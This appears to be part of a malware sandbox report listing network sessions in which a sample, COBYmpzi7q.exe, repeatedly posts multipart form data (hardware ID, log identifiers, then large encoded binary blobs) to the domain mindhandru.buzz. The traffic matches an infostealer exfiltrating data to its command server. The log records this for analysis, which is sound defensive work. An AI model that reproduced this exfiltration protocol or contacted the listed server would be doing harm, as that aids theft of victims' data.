2024-12-26 11:41:24 UTC	12839	OUT	Data Raw: 2d 2d 31 4b 56 53 55 4a 56 33 4d 39 5a 56 41 4d 53 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 32 38 37 32 34 45 35 45 43 30 33 42 37 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 31 4b 56 53 55 4a 56 33 4d 39 5a 56 41 4d 53 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 4b 56 53 55 4a 56 33 4d 39 5a 56 41 4d 53 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --1KVSUJV3M9ZVAMSZContent-Disposition: form-data; name="hwid"B28724E5EC03B7B7BEBA0C6A975F1733--1KVSUJV3M9ZVAMSZContent-Disposition: form-data; name="pid"2--1KVSUJV3M9ZVAMSZContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-26 11:41:25 UTC	1127	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:41:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ekurui9u3ca60bfb4dbinpsie9; expires=Mon, 21 Apr 2025 05:28:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EbYWoZ3eEGoD3zni7kWddlVryC6Ax%2BjH1hnZaw6JpQqs3evPHP9bQq69Nc0Srk7Ev0TTdUKP%2BNMKo4KCCGkylIkq45BEufCYTRRTg2a%2FXlEzgUb8sUTlKySKikILEall7Bk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80cd339cd30f91-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1514&min_rtt=1508&rtt_var=570&sent=12&recv=18&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13776&delivery_rate=1936339&cwnd=218&unsent_bytes=0&cid=bbaa3f839c303c24&ts=963&x=0"
2024-12-26 11:41:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 11:41:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49740	104.21.11.101	443	6184	C:\Users\user\Desktop\COBYmpzi7q.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:41:26 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QID0NNIZOJ248SBLCA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15069 Host: mindhandru.buzz
2024-12-26 11:41:26 UTC	15069	OUT	Data Raw: 2d 2d 51 49 44 30 4e 4e 49 5a 4f 4a 32 34 38 53 42 4c 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 32 38 37 32 34 45 35 45 43 30 33 42 37 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 51 49 44 30 4e 4e 49 5a 4f 4a 32 34 38 53 42 4c 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 51 49 44 30 4e 4e 49 5a 4f 4a 32 34 38 53 42 4c 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --QID0NNIZOJ248SBLCAContent-Disposition: form-data; name="hwid"B28724E5EC03B7B7BEBA0C6A975F1733--QID0NNIZOJ248SBLCAContent-Disposition: form-data; name="pid"2--QID0NNIZOJ248SBLCAContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-26 11:41:27 UTC	1130	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:41:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0ps5k2cp9umo27fqplehgtoqqs; expires=Mon, 21 Apr 2025 05:28:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xNRYW2IP4rqT9eIO5j9Dw3PcWNfs9fHVxvhgAwqO8cNSkDIgley7HksuPW8Px4uWIqkbORI7Qe1zehkH%2By6I2x5D%2FugrtNFivrWtap6Kr%2Fk0q%2Bv1JGu1OLSwKkd8GBMhA3o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80cd425f78c328-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1477&min_rtt=1469&rtt_var=568&sent=13&recv=20&lost=0&retrans=0&sent_bytes=2837&recv_bytes=16008&delivery_rate=1896103&cwnd=177&unsent_bytes=0&cid=592cc1412d43c854&ts=1038&x=0"
2024-12-26 11:41:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 11:41:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49746	104.21.11.101	443	6184	C:\Users\user\Desktop\COBYmpzi7q.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:41:29 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=U9JX1B3AMTX3Q2B6K3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20585 Host: mindhandru.buzz
2024-12-26 11:41:29 UTC	15331	OUT	Data Raw: 2d 2d 55 39 4a 58 31 42 33 41 4d 54 58 33 51 32 42 36 4b 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 32 38 37 32 34 45 35 45 43 30 33 42 37 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 55 39 4a 58 31 42 33 41 4d 54 58 33 51 32 42 36 4b 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 55 39 4a 58 31 42 33 41 4d 54 58 33 51 32 42 36 4b 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --U9JX1B3AMTX3Q2B6K3Content-Disposition: form-data; name="hwid"B28724E5EC03B7B7BEBA0C6A975F1733--U9JX1B3AMTX3Q2B6K3Content-Disposition: form-data; name="pid"3--U9JX1B3AMTX3Q2B6K3Content-Disposition: form-data; name="lid"LOGS11--LiveT
2024-12-26 11:41:29 UTC	5254	OUT	Data Raw: 51 42 2d 3f 59 1d 59 90 6a 24 94 cb a5 d1 7c a5 91 90 6c b4 51 98 a9 b7 4a 24 6e 49 6e c9 56 ca e5 5a 2b a1 3f 3a 9e b9 75 bf a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 73 7d 51 30 b7 ee a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 ae 3f 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce f5 45 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 fe 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a d7 17 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: QB-?YYj$\|lQJ$nInVZ+?:us}Q0u?4E([:s~
2024-12-26 11:41:30 UTC	1139	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:41:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7f5d921c2c54s1v1abb5ipe414; expires=Mon, 21 Apr 2025 05:28:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w46%2B3apMXbDjU3q7KCXD3yiGD70QhSBJeGeeVKnkz%2Fpzn5MyC8LmlS2XLR8n2As2d%2B7LK6LqDFXW4Ht%2BvAl4FNgfh5a9hxD6zbR0IgXpjxD%2F9l%2Bu0KUA5Bc%2B%2Bn4AmUT%2Bdbc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80cd526c3b0fa8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1481&min_rtt=1471&rtt_var=573&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2838&recv_bytes=21546&delivery_rate=1875401&cwnd=252&unsent_bytes=0&cid=43e2650455c5d47d&ts=886&x=0"
2024-12-26 11:41:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 11:41:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49751	104.21.11.101	443	6184	C:\Users\user\Desktop\COBYmpzi7q.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:41:32 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=91DJMI3TAJEOW1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1213 Host: mindhandru.buzz
2024-12-26 11:41:32 UTC	1213	OUT	Data Raw: 2d 2d 39 31 44 4a 4d 49 33 54 41 4a 45 4f 57 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 32 38 37 32 34 45 35 45 43 30 33 42 37 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 39 31 44 4a 4d 49 33 54 41 4a 45 4f 57 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 31 44 4a 4d 49 33 54 41 4a 45 4f 57 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 39 31 Data Ascii: --91DJMI3TAJEOW1Content-Disposition: form-data; name="hwid"B28724E5EC03B7B7BEBA0C6A975F1733--91DJMI3TAJEOW1Content-Disposition: form-data; name="pid"1--91DJMI3TAJEOW1Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--91
2024-12-26 11:41:32 UTC	1122	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:41:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4kledg9a0saclh7mlknqr8t016; expires=Mon, 21 Apr 2025 05:28:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OtUNk8Ktj2oAFTN0YwSR%2FTFcHUtvpWBSjn0SW1kK291h1hzMdhryNNBtB4EwxAXW%2B82vnkFZ9JHq747nYhmHUguc4N8llqFyG9QAwQlLBKCNA6rQNTBYbCR2EDz7h2ynt4k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80cd6579f7c33f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1566&min_rtt=1555&rtt_var=605&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2125&delivery_rate=1775075&cwnd=235&unsent_bytes=0&cid=131786c4ed271e5d&ts=767&x=0"
2024-12-26 11:41:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 11:41:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49760	104.21.11.101	443	6184	C:\Users\user\Desktop\COBYmpzi7q.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:41:36 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J3ZF2PP6MVKBX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 588048 Host: mindhandru.buzz
2024-12-26 11:41:36 UTC	15331	OUT	Data Raw: 2d 2d 4a 33 5a 46 32 50 50 36 4d 56 4b 42 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 32 38 37 32 34 45 35 45 43 30 33 42 37 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4a 33 5a 46 32 50 50 36 4d 56 4b 42 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 33 5a 46 32 50 50 36 4d 56 4b 42 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4a 33 5a 46 32 Data Ascii: --J3ZF2PP6MVKBXContent-Disposition: form-data; name="hwid"B28724E5EC03B7B7BEBA0C6A975F1733--J3ZF2PP6MVKBXContent-Disposition: form-data; name="pid"1--J3ZF2PP6MVKBXContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--J3ZF2
2024-12-26 11:41:36 UTC	15331	OUT	Data Raw: cd 6e 72 eb ee 71 38 bd 7d b1 6b 83 82 8a 04 41 a8 f0 12 ac 66 63 76 86 f6 c2 d7 23 5c cd 38 33 fc 02 c9 5d 1f ea 53 9d 01 07 a1 2c 32 74 f3 83 14 fd 60 dc ac 45 5a b4 16 4d 69 71 b7 dd 87 ad 29 3f df f8 f2 4e c9 b4 26 03 aa 9e 1e 34 ba ad d2 19 29 3d 7f d1 ea d3 13 ca e6 db 05 93 88 63 d1 f7 67 f6 b4 e9 43 e8 39 f2 2b 6d a8 ba c5 35 01 f2 40 49 2f 50 2b 10 d4 ae 3d 0d 3d 92 00 3b 74 78 f2 f4 dd cf e3 71 cf ee 85 75 ff c5 d4 90 ae 01 36 7f aa ef 18 f3 bd ba 36 1f 44 7f 4d 3e 79 fb 34 57 d3 40 57 9d 42 7f ef ae f4 99 96 33 44 81 34 3b 2c 10 64 f1 33 8a 30 ac 9d a7 c5 d6 a3 ce ff 72 dd f3 d7 3f 5b a2 d1 b0 18 3f 44 bf 35 f8 90 59 20 c9 a8 6c 33 9e 36 73 ae 5b 94 c8 a2 ef 3e df 4b 8b e7 cc 30 df fe d9 43 c0 18 e7 03 98 2d 01 ea 1d 40 95 46 fd 0a c2 80 85 3e Data Ascii: nrq8}kAfcv#\83]S,2t`EZMiq)?N&4)=cgC9+m5@I/P+==;txqu66DM>y4W@WB3D4;,d30r?[?D5Y l36s[>K0C-@F>
2024-12-26 11:41:36 UTC	15331	OUT	Data Raw: ae c1 f4 48 60 bf 8b 48 db c7 f2 4f ac fd 26 a4 01 22 3a 1a 05 cf ac 97 0a 11 c9 db 37 1e 62 17 77 9f ea 66 b6 0d 21 3b ef 49 7b f3 6d d3 b7 5d 21 6c a2 04 78 7c 37 d0 c8 16 d5 74 9d 04 9b c5 0a 99 d5 15 b6 9b 36 19 ab a3 46 0d 8e eb c5 1a bf b8 c3 1c f9 5d 68 18 36 7f a0 92 62 b7 1b 41 55 c6 49 ab f2 7c 9f cd 31 d6 6c de 99 73 33 f5 13 36 61 65 05 ff 7a 68 39 f4 df 9b ae a7 11 e1 09 08 e2 4c e1 16 65 c2 e2 34 83 e2 82 f2 af 39 82 be 75 14 00 c5 d5 af 93 83 31 aa 85 27 47 9d 67 d8 57 c8 81 30 c5 bb 67 f7 82 6e 5e e1 5d 0f 1d cf 37 fc 62 4e 4e 95 5a 18 96 53 e8 da c5 ca 3b f3 fd 02 e0 0c 85 fd 4a c9 14 c9 78 9b 57 54 08 dd 34 89 b5 78 35 e2 21 95 bb f1 59 ff ff 40 4c 38 17 b8 48 b2 cb 91 e0 ce e8 c6 ff 3d a3 8c fb bf 0f d4 39 f3 e7 fe 57 5e 10 47 fc b3 2f Data Ascii: H`HO&":7bwf!;I{m]!lx\|7t6F]h6bAUI\|1ls36aezh9Le49u1'GgW0gn^]7bNNZS;JxWT4x5!Y@L8H=9W^G/
2024-12-26 11:41:36 UTC	15331	OUT	Data Raw: bc 42 e4 4e 46 32 a0 0b 1e 32 ae ec ca 39 79 6b 40 95 3d 27 1f 57 31 fe 4b ef c9 e4 46 4f 6a cd c6 91 8a 17 46 1f 0f 80 f1 80 1d 0f 41 ee 37 76 70 55 7d d6 58 b6 64 ee 4a dc 2d d5 b2 6d 34 fa a6 7e ae fe 19 0c de 3e 77 b6 bd f5 cc 91 05 ba 8a 08 d0 39 c6 28 5a dd f6 d1 eb 7b ca ae e3 04 fb 6a 67 4d 4a 12 f1 b4 56 8e ba e6 43 21 4e c4 09 ea 4e 90 f3 1d fb 91 81 e5 cf 82 cd b8 82 ad df 52 4f 42 e3 55 52 16 28 2a 2d 82 bd 18 6b 82 57 2f 92 bb 28 2b 60 b1 20 fa b5 7c ef 94 34 7f f9 e1 80 8e a7 79 94 42 0d 60 b3 3a b9 42 7e 5b cf ff 65 1f 28 d2 b9 f9 5f e7 70 e1 1e f4 45 10 92 a5 0d 16 bb b6 df 41 84 a1 80 d5 49 05 8a a6 f3 bf c5 42 b1 48 55 d6 1d 59 cb e0 fc 8b c3 29 6a ff e8 ae 5e 38 71 23 de 6c 02 5c 5d 77 3c 2d cb f7 e0 d2 a8 eb 25 a6 2c 10 0d 5e 37 81 d2 Data Ascii: BNF229yk@='W1KFOjFA7vpU}XdJ-m4~>w9(Z{jgMJVC!NNROBUR(*-kW/(+` \|4yB`:B~[e(_pEAIBHUY)j^8q#l\]w<-%,^7
2024-12-26 11:41:36 UTC	15331	OUT	Data Raw: f8 e3 39 95 ab 97 f9 9d 56 e9 eb ae aa c8 c4 1a ea de 9e 57 7e b4 f3 eb 5e 7c 02 56 f0 8f 2d eb b4 37 78 00 08 2d 44 b7 72 cc 20 25 dc bb 4c 10 dc 73 80 e9 f8 fa db 15 95 2e 10 f3 3e 7a 17 39 81 7f f7 80 33 6f 92 00 09 16 39 7c a7 69 a6 56 d9 f3 fa 0e 2f e3 9f 87 82 c8 46 e5 9c 74 2b 7a e1 c5 24 3e c3 3a 5d 6f e8 9d 38 cf be 03 7b 94 f6 08 27 53 7a 2b 92 67 2d a5 a8 22 cb 22 1a ec 5b 76 aa 23 04 e7 2f a8 07 33 a0 e8 ba 9c d7 0e 2c 2e 53 b8 a7 5a f4 71 37 30 88 1f d0 2f 79 04 af 00 e3 e6 40 cf 33 aa 0b 8f 2a 61 f7 58 35 0e f8 f3 37 c9 35 1c a7 52 29 38 34 f7 ba d6 0a ff 39 53 42 66 b5 cd a4 fa 20 e5 20 af fd bc 42 25 ca df 0b f5 e3 8b a9 00 db a3 2d ed 11 9f 61 bf 74 ee 92 5d ca 17 72 8f f1 e1 ca 04 1d 95 ae 5e a9 43 fc f2 0d 63 c7 8a 88 e1 16 34 2b d7 82 Data Ascii: 9VW~^\|V-7x-Dr %Ls.>z93o9\|iV/Ft+z$>:]o8{'Sz+g-""[v#/3,.SZq70/y@3*aX575R)849SBf B%-at]r^Cc4+
2024-12-26 11:41:36 UTC	15331	OUT	Data Raw: e2 cd 0f 24 47 65 8d 91 5c 02 18 1b c3 ca f6 f1 d0 66 c3 13 70 c1 f9 ea 47 f1 13 36 f0 f7 1e aa 4c 28 06 d6 da 72 19 42 f4 7e 6d d4 80 37 ea bf 3c b1 db 82 4d a6 95 06 08 a4 c7 ef 23 35 e5 ab 1c fd 1e 08 c3 61 ce 7c f7 fa 84 e8 ea b1 ec 29 03 ba df 27 dc 90 83 fb 53 07 d2 f0 f4 90 3d 8a e3 93 fb 9a 34 da 72 f1 37 84 58 9c 0c 87 2f 83 86 82 98 77 2e 59 7a 3f 8c ac 31 af 04 e8 04 ec fe 99 ac fc 78 04 61 12 d3 e2 99 ff a2 2a 79 77 4e 76 14 aa 37 90 0f 0b ba 42 69 c5 a8 4d 19 07 89 bf 8b d8 13 9d 8a f0 f9 80 ba 22 1a e2 58 0f 7b 85 a6 45 d1 a6 76 5d 58 77 c8 3c dd 9d d2 2a e6 74 fc ef a1 15 53 11 09 4d f0 51 11 f1 84 79 cb 4a 2c 86 e9 3e 42 77 38 a9 a9 c2 4a 9a 5b 3e 73 72 90 ac 1d 0d 13 00 42 13 72 2e 7f 93 93 09 2e 80 df 38 1f 4f 1b b0 12 7f 25 16 aa 41 e0 Data Ascii: $Ge\fpG6L(rB~m7<M#5a\|)'S=4r7X/w.Yz?1xaywNv7BiM"X{Ev]Xw<tSMQyJ,>Bw8J[>srBr..8O%A
2024-12-26 11:41:36 UTC	15331	OUT	Data Raw: 82 8f cb 70 a8 6b 15 9f ab 87 28 99 81 d5 4d e7 2e a2 e8 7b f4 71 e7 ba d9 cf 00 3d a3 62 a4 f3 03 60 3c b5 07 8c 8b ff 71 19 45 7a 9b 72 61 0f b5 83 b6 bb 65 16 61 41 fa 80 10 b8 ed d3 89 a2 dc 2e 85 1c 97 7f c8 9c 89 cd 5a 7a 20 26 3a 31 95 fc be 3f 64 2d f8 34 6a 43 6c fe c1 cb ae 72 d1 6f 39 27 d3 06 57 e7 7d 9c 0f 9d 55 ee f1 d8 3b be 37 a7 67 f2 c1 d1 bd 39 77 07 de fb fe 71 29 ea f6 98 dd 5e 38 15 20 6f 75 f6 59 f2 01 28 fd 6c e4 86 87 d0 2e 09 10 ba 5c 74 e1 7f 6b aa 7e 0f f2 3f de da 36 fc c4 74 b9 3f a4 e1 1b 24 0d 11 ee ec 3b 6c 21 3f 62 8a 38 9e 19 06 d7 55 74 30 c0 cd a0 1b c9 d4 68 0d 84 29 9d a0 14 43 a1 f2 b8 b4 58 d6 5d 06 52 1f d7 eb f2 63 5b 6e ed 5c 60 ed 94 f5 23 fc 5c 6c 13 63 24 a0 13 06 87 4a 29 39 af 0f ea e8 e9 5d 1c 49 14 90 05 Data Ascii: pk(M.{q=b`<qEzraeaA.Zz &:1?d-4jClro9'W}U;7g9wq)^8 ouY(l.\tk~?6t?$;l!?b8Ut0h)CX]Rc[n\`#\lc$J)9]I
2024-12-26 11:41:36 UTC	15331	OUT	Data Raw: a5 d9 7d 04 07 db b7 d1 86 e4 9e ef 77 f4 8c e6 31 3f f0 fc c1 33 00 4b 12 8b b7 12 fd 6f 4c 07 58 59 37 ac 0f 8f 1d d1 3c 54 48 c1 3f 47 7f b8 65 65 f4 4f c5 fa f3 99 69 c2 fc 9f 6f e7 fe a3 fc d8 17 df 40 72 f4 04 37 89 fb e0 ea b4 11 cd 80 56 01 70 ca d0 02 6c cc fd b3 2b e8 6f 32 5f d8 b3 d4 a4 c7 45 5c 93 d1 40 b7 31 d9 3f 41 d0 40 67 e3 99 e0 54 8b 92 e7 25 c1 69 92 60 89 3a 9c fa 51 36 d8 dd 72 28 68 fa ba 50 68 39 c8 8b 1f 75 98 ec 5a ca c5 2e e4 75 e4 d7 55 68 d3 4f 35 12 67 44 c0 71 e7 6f 23 25 fc bb 93 7f 0f cd 27 f3 80 a4 7b ea 28 72 d6 89 b7 93 5d 34 3a d7 9e 33 60 77 13 83 8f 09 58 e8 90 0d 0f 6d a2 c9 79 62 50 2a e5 d3 2b 2f ab 9a 43 3b 8d e4 78 5d 4c 85 45 ce 10 c1 6e 0c ff 1e b9 cd f9 88 32 56 ea 47 ee d7 20 9e ad b4 0a 9d cf 8b 2e 77 8e Data Ascii: }w1?3KoLXY7<TH?GeeOio@r7Vpl+o2_E\@1?A@gT%i`:Q6r(hPh9uZ.uUhO5gDqo#%'{(r]4:3`wXmybP*+/C;x]LEn2VG .w
2024-12-26 11:41:36 UTC	15331	OUT	Data Raw: 5c 59 78 bd 37 7f 49 80 e1 ff 4d 0a 76 de f8 4b 05 c1 a7 db fd 7d b9 92 70 a5 e5 5f 3a 73 5f cb 81 6b f7 c3 88 9b de 5e 42 f8 a3 91 ea fd 41 56 bf 26 0a 66 6a ff ea 0d 46 08 a7 ad 0c d5 8c f7 eb ee 06 64 be af 27 67 bd 04 29 b4 27 72 21 7d f6 37 2a fc af b9 bf a1 16 df 08 7d b2 7d 3b 53 cf 9f 9f 5d 02 e0 94 7d 38 54 d1 8c 13 48 b4 1b c1 81 60 88 9e 71 7d 58 b9 f1 37 78 9d 76 48 b8 c0 fa e0 90 35 20 b7 89 a8 7e bd 4a a1 b6 20 36 95 71 0e 66 da bc ec 44 85 18 de a7 6e e3 39 bf 9b 80 86 50 83 4b 14 9e 40 77 0b 1a c3 cb 56 ad 7e 21 35 45 9f 53 39 54 71 d9 55 4b 2f f9 b8 52 a9 7e 5e da da 25 2d 3d 72 8e e8 a8 f2 66 c1 